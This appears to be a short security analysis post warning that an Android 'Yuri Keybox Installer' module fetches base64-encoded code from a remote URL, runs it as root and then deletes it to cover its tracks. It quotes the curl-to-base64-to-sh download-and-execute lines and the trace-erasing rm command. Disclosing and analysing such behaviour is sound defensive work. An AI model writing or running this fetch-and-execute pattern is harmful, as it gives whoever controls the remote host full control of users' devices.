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⚠️ Technical analysis — Yuri Keybox Installer script The script performs several steps that open the device to full compromise: 1. Downloads a script from the Internet and executes it directly: curl -fsSL "$REMOTE_URL" | base64 -d > "$SCRIPT_REMOTE" sh "$SCRIPT_REMOTE" This line is the most dangerous part because: It allows downloading encoded code from an external server (the GitHub link). After decoding with base64 -d, the code is executed immediately with root privileges. In other words: anyone who controls that remote URL can run commands on your device without your consent. 2. The module disguises itself as a “keybox updater” but actually: Creates a temporary script named remote_script.sh. Executes it without verifying its source or any signatures. Then removes the script to erase traces: rm -rf "$SCRIPT_REMOTE" 3. Remote code execution / full control risk: The remote script could, in theory: Exfiltrate system files or keyboxes. Modify sensitive files under /data/adb/ or /system. Download and install additional malicious software (e.g., rootkits or hidden modules) that maintain persistent control. --- Summary: This behavior effectively grants remote code execution to whoever controls the remote resource — it is a critical security breach.